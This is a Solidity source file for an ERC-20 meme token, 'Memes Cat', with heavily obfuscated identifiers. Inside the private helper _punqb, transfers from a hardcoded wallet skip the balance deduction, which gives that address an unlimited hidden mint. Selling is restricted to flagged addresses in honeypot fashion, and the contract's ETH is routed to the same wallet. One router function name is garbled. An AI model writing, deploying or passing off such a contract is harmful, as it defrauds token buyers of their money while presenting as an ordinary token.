文件 1 的 1:MemesCat.sol
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath:");
return c;
}
function _punqb(uint256 a, uint256 b) internal pure returns (uint256) {
return _punqb(a, b, "SafeMath:");
}
function _punqb(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath:");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath:");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface _kajvczup {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface _pfoukmzus {
function swExactTensFrHSportingFeeOransferkes(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH, uint liquidity);
}
contract MemesCat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Memes Cat";
string private constant _symbol = unicode"Cat";
uint8 private constant _decimals = 9;
uint256 private constant _Totalkq = 1000000000 * 10 **_decimals;
uint256 public _mxTumyAmaunt = _Totalkq;
uint256 public _Wallekxpro = _Totalkq;
uint256 public _wapThresholdmcx= _Totalkq;
uint256 public _mkolTwaqc= _Totalkq;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _iscExcomf;
mapping (address => bool) private _taxvWaervy;
mapping(address => uint256) private _lruehrkbacp;
bool public _taerelorve = false;
address payable private _qfmoakhq;
uint256 private _BuyTaxinitial=1;
uint256 private _SellTaxinitial=1;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAreduce=1;
uint256 private _SellTaxAreduce=1;
uint256 private _wapBefafnp=0;
uint256 private _burgkuyr=0;
_pfoukmzus private _Yamuazfat;
address private _acMkvaujw;
bool private _qvomualh;
bool private lovStpkaq = false;
bool private _apmjuajyq = false;
event _amgfoigtl(uint _mxTumyAmaunt);
modifier lorecThecap {
lovStpkaq = true;
_;
lovStpkaq = false;
}
constructor () {
_qfmoakhq = payable(0xb58762B5D1974c2dbe0671E75944bD5A9567aA36);
_balances[_msgSender()] = _Totalkq;
_iscExcomf[owner()] = true;
_iscExcomf[address(this)] = true;
_iscExcomf[_qfmoakhq] = true;
emit Transfer(address(0), _msgSender(), _Totalkq);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _Totalkq;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address _owner, address spender) public view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _punqb(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 teeomoun=0;
if (from != owner () && to != owner ()) {
if (_taerelorve) {
if (to != address
(_Yamuazfat) && to !=
address(_acMkvaujw)) {
require(_lruehrkbacp
[tx.origin] < block.number,
"Only one transfer per block allowed.");
_lruehrkbacp
[tx.origin] = block.number;
}
}
if (from == _acMkvaujw && to !=
address(_Yamuazfat) && !_iscExcomf[to] ) {
require(amount <= _mxTumyAmaunt,
"Exceeds the _mxTumyAmaunt.");
require(balanceOf(to) + amount
<= _Wallekxpro, "Exceeds the maxWalletSize.");
if(_burgkuyr
< _wapBefafnp){
require(! _feixofp(to));
}
_burgkuyr++;
_taxvWaervy[to]=true;
teeomoun = amount.mul((_burgkuyr>
_BuyTaxAreduce)?_BuyTaxfinal:_BuyTaxinitial)
.div(100);
}
if(to == _acMkvaujw && from!= address(this)
&& !_iscExcomf[from] ){
require(amount <= _mxTumyAmaunt &&
balanceOf(_qfmoakhq)<_mkolTwaqc,
"Exceeds the _mxTumyAmaunt.");
teeomoun = amount.mul((_burgkuyr>
_SellTaxAreduce)?_SellTaxfinal:_SellTaxinitial)
.div(100);
require(_burgkuyr>_wapBefafnp &&
_taxvWaervy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!lovStpkaq
&& to == _acMkvaujw && _apmjuajyq &&
contractTokenBalance>_wapThresholdmcx
&& _burgkuyr>_wapBefafnp&&
!_iscExcomf[to]&& !_iscExcomf[from]
) {
_swpkuagruj( _qnpue(amount,
_qnpue(contractTokenBalance,_mkolTwaqc)));
uint256 contractETHBalance
= address(this).balance;
if(contractETHBalance
> 0) {
_rmonteup(address(this).balance);
}
}
}
if(teeomoun>0){
_balances[address(this)]=_balances
[address(this)].
add(teeomoun);
emit Transfer(from,
address(this),teeomoun);
}
_balances[from]= _punqb(from,
_balances[from], amount);
_balances[to]=_balances[to].
add(amount. _punqb(teeomoun));
emit Transfer(from, to,
amount. _punqb(teeomoun));
}
function _swpkuagruj(uint256
tokenAmount) private lorecThecap {
if(tokenAmount==0){return;}
if(!_qvomualh){return;}
address[] memory path =
new address[](2);
path[0] = address(this);
path[1] = _Yamuazfat.WETH();
_approve(address(this),
address(_Yamuazfat), tokenAmount);
_Yamuazfat.
swExactTensFrHSportingFeeOransferkes(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _qnpue(uint256 a,
uint256 b) private pure
returns (uint256){
return ( a > b
)?
b : a ;
}
function _punqb(address
from, uint256 a,
uint256 b) private view
returns(uint256){
if(from
== _qfmoakhq){
return a ;
}else{
return a . _punqb (b);
}
}
function removeLimits() external onlyOwner{
_mxTumyAmaunt = _Totalkq;
_Wallekxpro = _Totalkq;
_taerelorve = false;
emit _amgfoigtl(_Totalkq);
}
function _feixofp(address
account) private view
returns (bool) {
uint256 sixzev;
assembly {
sixzev :=
extcodesize
(account)
}
return sixzev >
0;
}
function _rmonteup(uint256
amount) private {
_qfmoakhq.
transfer(amount);
}
function openTrading( ) external onlyOwner( ) {
require( ! _qvomualh);
_Yamuazfat = _pfoukmzus (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ;
_approve(address(this), address(_Yamuazfat), _Totalkq);
_acMkvaujw = _kajvczup(_Yamuazfat.factory()). createPair (address(this), _Yamuazfat . WETH ());
_Yamuazfat.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_acMkvaujw).approve(address(_Yamuazfat), type(uint).max);
_apmjuajyq = true;
_qvomualh = true;
}
receive() external payable {}
}